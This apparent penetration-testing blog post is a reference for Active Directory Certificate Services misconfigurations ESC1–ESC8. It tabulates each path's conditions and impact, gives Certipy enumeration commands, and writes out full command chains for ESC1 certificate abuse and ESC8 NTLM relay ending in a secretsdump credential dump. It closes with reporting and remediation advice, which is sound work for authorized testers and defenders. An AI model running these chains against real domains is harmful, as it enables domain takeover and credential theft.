Blog
AD CS ESC1–ESC8 as engagement currency
Active Directory Certificate Services misconfigurations (ESC1–ESC8) are consistently among the highest-impact findings on internal engagements. SpecterOps Certified Pre-Owned taxonomy covers eight escalation paths from misconfigured certificate templates to domain compromise.
Active Directory
SpecterOps's *Certified Pre-Owned* whitepaper introduced the ESC taxonomy for AD CS misconfigurations. Three years later, ESC1 through ESC8 remain consistent hits on internal engagement reports. The taxonomy is stable; the misconfigured environments are not going away.
This post is a reference for the eight ESC paths: what template condition enables the escalation, the privilege required to exploit it, and the domain impact. Use it during an engagement when Certipy or manual enumeration surfaces a result and you need to triage impact fast.
ESC1–ESC8 reference table
| ESC# | Name | Template condition | Privilege required | Domain impact |
|---|---|---|---|---|
| ESC1 | Misconfigured certificate templates — SAN | Template allows Subject Alternative Name (SAN) in the request; CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set | Low-privilege domain user with enroll rights | Obtain cert for any user including DA; authenticate as anyone in the domain |
| ESC2 | Any Purpose EKU | Template grants Any Purpose EKU or no EKU restriction; enrollee-supplied subject | Low-privilege domain user | Certificate usable for client auth as any identity; Kerberos PKINIT as DA |
| ESC3 | Enroll as agent | Template allows enrollment agent; agent cert used to request certs on behalf of others | Low-privilege domain user + enrollment agent template accessible | Request client auth cert for any domain user as an enrollment agent; authenticate as DA |
| ESC4 | Vulnerable template ACL | Low-privilege principal has WriteProperty or GenericAll on a certificate template object | Low-privilege domain user or computer with ACL access | Modify template to introduce ESC1/ESC2 conditions; then escalate via modified template |
| ESC5 | Vulnerable PKI object ACL | Low-privilege principal can write to CA object, NTAuthCertificates, or RootCA configuration | Low-privilege principal with ACL access to PKI objects | Issue arbitrary certs; install rogue CA cert; persistent trust manipulation |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 flag | CA-level flag enables SAN in all templates | Low-privilege domain user | Obtain cert for any user from any template; full domain compromise |
| ESC7 | Vulnerable CA access control | Low-privilege principal has Manage CA or Manage Certificates rights on the CA | Low-privilege principal with CA management rights | Issue failed/pending certs; modify CA configuration; issue certs for arbitrary subjects |
| ESC8 | AD CS HTTP relay (NTLM relay to AD CS HTTP endpoint) | CA web enrollment endpoint enabled; NTLM auth to HTTP endpoint; no EPA | Network position to coerce and relay NTLM auth | Relay DC machine account NTLM auth to CA; obtain DC cert; DCSync-equivalent access |
Most frequent findings in practice
ESC1 and ESC8 account for the majority of AD CS findings in the wild.
ESC1 is found in environments that have misconfigured custom certificate templates — often templates created for specific application purposes (VPN client auth, code signing) where CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT was set without understanding the implication, and where low-privilege users have enroll rights.
ESC8 is the NTLM relay path — it does not require template misconfiguration and works against any CA with web enrollment enabled that accepts NTLM (no EPA). Coercion techniques (PrinterBug, PetitPotam) force a DC to authenticate to the relay, which forwards the auth to the CA HTTP endpoint and obtains a domain controller certificate usable for Kerberos PKINIT.
Enumeration with Certipy
# Enumerate all certificate templates and CA configuration
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.1
# Find vulnerable templates and configurations (outputs ESC findings)
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.1 -vulnerable
# Output to text for quick review
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.1 -stdoutCertipy's output includes an ESC classification for each finding. Verify the template name, the enroll rights, and the CA hosting the template before proceeding.
ESC1 exploitation
# Request a cert from the vulnerable template, supplying DA UPN as SAN
certipy req -u [email protected] -p 'Password' -ca 'DOMAIN-CA' \
-template 'VulnerableTemplate' \
-upn '[email protected]' \
-dc-ip 10.0.0.1
# Authenticate as DA using the obtained certificate (PKINIT)
certipy auth -pfx administrator.pfx -domain domain.local -username administrator -dc-ip 10.0.0.1
# Returns NT hash for the DA accountESC8 exploitation (NTLM relay to AD CS HTTP)
# Step 1: Set up NTLM relay targeting CA web enrollment HTTP endpoint
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Step 2: Coerce DC machine account authentication to your relay
# (PrinterBug, PetitPotam, or DFSCoerce -- depending on available mitigations)
python3 coerce_target.py -target dc01.domain.local -listener 10.0.0.99
# Step 3: ntlmrelayx forwards auth to CA, obtains DC certificate
# Step 4: Use DC certificate for PKINIT to get DC TGT then DCSync
certipy auth -pfx dc01.pfx -domain domain.local -username DC01$ -dc-ip 10.0.0.1
python3 secretsdump.py -k -no-pass dc01.domain.localReporting AD CS findings
AD CS ESC findings report cleanly as a tiered compound finding:
- Discovery: Certipy output showing the vulnerable template name, the ESC classification, and the enroll rights
- Exploitation: Certificate obtained; Kerberos authentication as target user; NT hash retrieved
- Impact: Domain admin equivalent access without any password attack — persists after password rotation (certificate-based auth is separate from password-based auth)
- Detection gap: AD CS audit logging is disabled by default; many environments have no visibility into certificate issuance events
Include the certificate template name, the CA name, the enroll rights group, and the exact Certipy command output as evidence. Note whether AD CS audit logging is enabled — its absence is a detection-gap finding in its own right.
Remediation priorities
- ESC1/ESC2: Remove
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTfrom templates; restrict enroll rights to the specific service accounts that require the template - ESC3: Restrict enrollment agent templates to named service accounts; audit issuance of enrollment agent certificates
- ESC6: Remove
EDITF_ATTRIBUTESUBJECTALTNAME2from CA configuration (requires CA admin rights) - ESC8: Enable EPA (Extended Protection for Authentication) on CA web enrollment IIS site; disable NTLM on the CA HTTP endpoint if web enrollment is not required
- All paths: Enable AD CS audit logging (Certificate Services events under Windows Security log); forward to SIEM